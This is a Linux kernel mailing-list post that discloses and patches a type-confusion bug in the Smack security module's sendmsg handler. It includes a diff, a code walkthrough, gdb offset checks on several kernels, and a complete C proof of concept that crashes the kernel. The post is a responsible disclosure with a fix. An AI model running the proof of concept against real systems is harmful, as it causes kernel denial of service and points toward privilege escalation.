Please note that this problem was not found by me but by Mateusz Fruba
and he takes full credit for all the below details, the patch has been
submitted by me due to corporate rules, all questions/issues etc. can be
submitted here and I will forward them to Mateusz if needed.

--- cut here for patch
Smack security handler for sendmsg() syscall
is vulnerable to type confusion issue what
can allow to privilege escalation into root
or cause denial of service.

A malicious attacker can create socket of one
type for example AF_UNIX and pass is into
sendmsg() function ensuring that this is
AF_INET socket.

Remedy
Do not trust user supplied data.
Proposed fix below.

Signed-off-by: Roman Kubiak <r.kub...@samsung.com>
Signed-off-by: Mateusz Fruba <m.fr...@samsung.com>
---
 security/smack/smack_lsm.c | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/security/smack/smack_lsm.c b/security/smack/smack_lsm.c
index ff81026..9258a52 100644
--- a/security/smack/smack_lsm.c
+++ b/security/smack/smack_lsm.c
@@ -3758,7 +3758,7 @@ static int smack_socket_sendmsg(struct socket *sock, 
struct msghdr *msg,
        if (sip == NULL)
                return 0;
 
-       switch (sip->sin_family) {
+       switch (sock->sk->sk_family) {
        case AF_INET:
                rc = smack_netlabel_send(sock->sk, sip);
                break;
-- 
1.9.1
--- cut here for patch

--- cut here for detailed bug information
Summary:
Smack security handler for sendmsg() syscall is vulnerable to type confusion 
issue what can allow to privilege escalation into root or cause denial of 
service.

Detail:
Mainline kernel implementation of sendmsg() syscall in smack is vulnerable to 
type confusion bug.
Vulnerable code can be found in:
Linux/security/smack/smack_lsm.c
static int smack_socket_sendmsg(struct socket *sock, struct msghdr *msg,
                                int size)
{
        struct sockaddr_in *sip = (struct sockaddr_in *) msg->msg_name;
        struct sockaddr_in6 *sap = (struct sockaddr_in6 *) msg->msg_name;
        int rc = 0;
 
        /*
         * Perfectly reasonable for this to be NULL
         */
        if (sip == NULL)
                return 0;
 
        switch (sip->sin_family) {
        case AF_INET:
                rc = smack_netlabel_send(sock->sk, sip);
                break;
        case AF_INET6:
                rc = smk_ipv6_port_check(sock->sk, sap, SMK_SENDING);
                break;
        }
        return rc;
}
As you can see in code above type of socket is checked using user supplied data.
An malicious attacker can create socket of one type for example AF_UNIX and 
pass is into sendmsg() function ensuring that this is AF_INET socket.
If we go dipper 
smack_socket_sendmsg(...)>smack_netlabel_send(...)>smack_netlabel(...)->cipso_v4_sock_delattr(struct
 sock *sk) then we can find following code:
Linux/net/ipv4/cipso_ipv4.c
void cipso_v4_sock_delattr(struct sock *sk)
{
        int hdr_delta;
        struct ip_options_rcu *opt;
        struct inet_sock *sk_inet;
 
        sk_inet = inet_sk(sk);
        opt = rcu_dereference_protected(sk_inet->inet_opt, 1);
        if (opt == NULL || opt->opt.cipso == 0)
                return;
 
        hdr_delta = cipso_v4_delopt(&sk_inet->inet_opt);
        if (sk_inet->is_icsk && hdr_delta > 0) {
                struct inet_connection_sock *sk_conn = inet_csk(sk);
                sk_conn->icsk_ext_hdr_len -= hdr_delta;
                sk_conn->icsk_sync_mss(sk, sk_conn->icsk_pmtu_cookie);
        }
}
In code above our malicious AF_NETLINK socket is casted into AF_INET and next 
"inet_opt" field is dereferenced from it. In case of AF_NETLINK there is no 
inet_opt field so an another value will be returned.
Test for x64 kernel 3.18.24:
As verified inet_opt field is under 0x2d0 in struct inet_sock, if we check 
other type of sockets:
AF_INET
(gdb) p/x &((struct inet_sock *)0)->inet_opt
$4 = 0x2d0
AF_NETLINK
(gdb) p/x &((struct netlink_sock *)0)->groups
$6 = 0x2d0
AF_UNIX
(gdb) p/x ((struct unix_sock *)sk)->readlock
$7 = 0x2d0
So the offset is dependent from kernel version, socket type (multiple socket 
available depending on kernel config), processor architecture.
Summing up in some cases value which will be resolved by inet_opt can be 
controlled by attacker what can be used to gain code execution in kernel.

POC:
Issue require applied smack into kernel.
I have tested and confirmed this issue on:
Mainline kernel 3.18.24 (x64)
Z300H BOK8 build - kernel 3.10.65 (arm)
SM-R730S AOKA build - kernel 3.4.0 (arm)
Below you can find poc code which use smack type confusion to crash kernel.
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <errno.h>
#include <netinet/in.h>
 
#include <arpa/inet.h>
#include <linux/netlink.h>
 
 
int
main(int argc, char *argv[])
{
    int ret = 0;
 
    int sockfd = socket(AF_NETLINK, SOCK_RAW, 0);
    printf( "socket = %d\n", sockfd);
 
    struct sockaddr_nl nl_addr;
    nl_addr.nl_family = AF_NETLINK;
    nl_addr.nl_pid = getpid();
    nl_addr.nl_groups = 1337;
    ret = bind(sockfd, (struct sockaddr*)&nl_addr, sizeof(nl_addr));
    printf( "bind? %d\n", ret);
 
   
    struct msghdr hdr;
    memset(&hdr, 0, sizeof(struct msghdr));
 
    struct sockaddr_in addr;
    memset(&addr, 0, sizeof(struct sockaddr_in));
 
    addr.sin_family = AF_INET;
    addr.sin_port = htons(3490);
    inet_aton("255.0.0.0", (struct in_addr *)&addr.sin_addr.s_addr);
 
    struct iovec iov;
    iov.iov_base = malloc(16);
    iov.iov_len = 16;
 
    memset(iov.iov_base, 0x41, iov.iov_len);
 
    hdr.msg_name = &addr;
    hdr.msg_namelen = sizeof(struct sockaddr_in);
    hdr.msg_iov = &iov;
   
    ret = sendmsg(sockfd, &hdr, 0);
    printf( "done? %d\n", ret);
    printf( "done? %s = %d\n", strerror(errno), errno);
 
    return 0;
} 

Remedy:
Do not trust user supplied data.
Proposed fix
Replace:
static int smack_socket_sendmsg(struct socket *sock, struct msghdr *msg,
                                int size)
{
...
        switch (sip->sin_family) {
  ...
}
To:
static int smack_socket_sendmsg(struct socket *sock, struct msghdr *msg,
                                int size)
{
...
        switch (sock->sk->sk_family) {
  ...
}

--- cut here for detailed bug information

-- 
--------------
 Roman Kubiak
--------------
--
To unsubscribe from this list: send the line "unsubscribe 
linux-security-module" in
the body of a message to majord...@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html

Reply via email to